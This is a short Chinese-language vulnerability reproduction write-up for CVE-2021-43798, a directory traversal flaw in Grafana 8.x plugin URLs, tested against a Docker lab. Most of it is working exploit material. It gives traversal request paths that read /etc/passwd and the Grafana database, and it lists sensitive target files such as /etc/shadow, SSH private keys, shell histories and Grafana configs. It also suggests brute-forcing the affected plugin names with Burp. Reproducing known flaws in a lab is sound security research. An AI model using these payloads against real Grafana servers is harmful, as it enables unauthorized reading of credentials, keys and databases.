Grafana 8.x 插件模块目录穿越漏洞复现（CVE-2021-43798）

目录

漏洞环境

漏洞复现

---

漏洞环境

执行如下命令启动一个Grafana 8.2.6版本服务器：

docker-compose up -d

 

访问主页

 

漏洞复现

burp抓包测试

读取配置文件

/public/plugins/alertlist/../../../../../../../../../../../etc/passwd

 

读取数据库文件

/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db

 

还可以读取其他文件

/conf/defaults.ini

/etc/grafana/grafana.ini

/etc/passwd

/etc/shadow

/home/grafana/.bash_history

/home/grafana/.ssh/id_rsa

/root/.bash_history

/root/.ssh/id_rsa

/usr/local/etc/grafana/grafana.ini

/var/lib/grafana/grafana.db

/proc/net/fib_trie

/proc/net/tcp

/proc/self/cmdline

官方公布受到影响的插件超过40个

可以收集字典通过burp爆破

 

参考链接

1. Grafana 8.3.1, 8.2.7, 8.1.8, and 8.0.7 released with high severity security fix | Grafana Labs
2. https://twitter.com/hacker_/status/1467880514489044993
3. 【安全通报】Grafana 未授权任意文件读取 0day 漏洞|NOSEC安全讯息平台 - 白帽汇安全研究院
4. grafana最新任意文件读取分析以及衍生问题解释